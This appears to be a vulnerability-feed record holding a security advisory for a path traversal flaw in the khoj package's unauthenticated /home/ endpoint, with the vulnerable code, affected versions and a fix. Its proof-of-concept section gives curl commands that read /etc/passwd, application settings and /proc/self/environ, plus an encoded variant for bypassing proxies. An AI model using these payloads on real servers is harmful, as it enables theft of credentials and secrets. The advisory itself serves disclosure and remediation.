{"schema":"threatline.record/2","record":{"id":"GHSA-62mm-xwmv-crhg","aliases":["GHSA-62mm-xwmv-crhg"],"summary":"khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem","details":"### Summary\nThe `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.\n\n### Details\n**Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    \"\"\"Serve static files from the home landing page directory\"\"\"\n    return FileResponse(constants.home_directory / file_path)\n```\n\nWhere `home_directory` is defined in `src/khoj/utils/constants.py` line 6:\n```python\nhome_directory = web_directory / \"home/\"\n```\n\n**What is missing:**\n- No `..` traversal filtering\n- No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)\n- No authentication decorator (`@requires([\"authenticated\"])` is absent)\n- Starlette's `FileResponse` does NOT perform path traversal protection\n\n**Path resolution:**\n```\nRequest: GET /home/../../../../../../../etc/passwd\nfile_path = \"../../../../../../../etc/passwd\"\nhome_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd\nOS resolves to: /etc/passwd\n```\n\n### PoC\n```bash\n# Read /etc/passwd (no authentication required)\ncurl http://localhost:42110/home/../../../../../../../etc/passwd\n\n# Read application settings (may contain SECRET_KEY, DB credentials)\ncurl http://localhost:42110/home/../../../../settings.py\n\n# Read environment file\ncurl http://localhost:42110/home/../../../../../../../proc/self/environ\n```\n\nURL-encoded variant (may bypass some reverse proxy normalization):\n```bash\ncurl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n```\n\n### Impact\nUnauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:\n\n- **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys\n- **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`\n- **Exfiltrate sensitive data** — Any file readable by the server process\n- **Facilitate further attacks** — Leaked credentials enable deeper compromise\n\n**No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.\n\n### Recommended fix\nUse FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:\n\n```python\n@web_client.get(\"/home/{file_path:path}\", response_class=FileResponse)\ndef home_static_files(file_path: str):\n    resolved = (constants.home_directory / file_path).resolve()\n    if not resolved.is_relative_to(constants.home_directory.resolve()):\n        raise HTTPException(status_code=404)\n    return FileResponse(resolved)\n```","categories":["Libraries & packages"],"product":"khoj","vendor":"","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-62mm-xwmv-crhg","source_modified_at":"2026-09-25T21:38:16Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"khoj"},"range":">= 2.0.0-beta.23, < 2.0.0-beta.25"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-62mm-xwmv-crhg","source_modified_at":"2026-09-25T23:00:31.263623963Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"khoj","ecosystem":"PyPI","purl":"pkg:pypi/khoj"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0-beta.23"},{"fixed":"2.0.0-beta.25"}]}],"versions":["2.0.0b23","2.0.0b24","2.0.0b24.dev1","2.0.0b24.dev4","2.0.0b25.dev1","2.0.0b25.dev10","2.0.0b25.dev3","2.0.0b25.dev7","2.0.0b25.dev9"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-62mm-xwmv-crhg","source_modified_at":"2026-09-25T21:38:16Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"khoj"},"version":"2.0.0-beta.25"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-62mm-xwmv-crhg","source_modified_at":"2026-09-25T23:00:31.263623963Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"khoj","ecosystem":"PyPI","purl":"pkg:pypi/khoj"},"version":"2.0.0-beta.25"}],"cvss":8.7,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-25T21:38:15Z","modified_at":"2026-09-25T23:00:31.263623963Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-62mm-xwmv-crhg","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-25T21:38:16Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-62mm-xwmv-crhg","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-25T23:00:31.263623963Z"}],"sources":["GitHub Advisory Database","OSV"],"references":[{"url":"https://github.com/khoj-ai/khoj/security/advisories/GHSA-62mm-xwmv-crhg","source":"GitHub Advisory Database"},{"url":"https://github.com/khoj-ai/khoj/commit/21c51b9ace4eb59ce79ac0a93b917289824195cf","source":"GitHub Advisory Database"},{"url":"https://github.com/khoj-ai/khoj/commit/9801ffd2de642772f072ca496032b7c352013b6a","source":"GitHub Advisory Database"},{"url":"https://github.com/khoj-ai/khoj/releases/tag/2.0.0-beta.25","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-62mm-xwmv-crhg","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-09-25T23:00:31.263623963Z","content_hash":"8e5a5f53caafd6e2cc7fa2b7ce9b1bd7706081a1b61e551f294e761256587498"}}
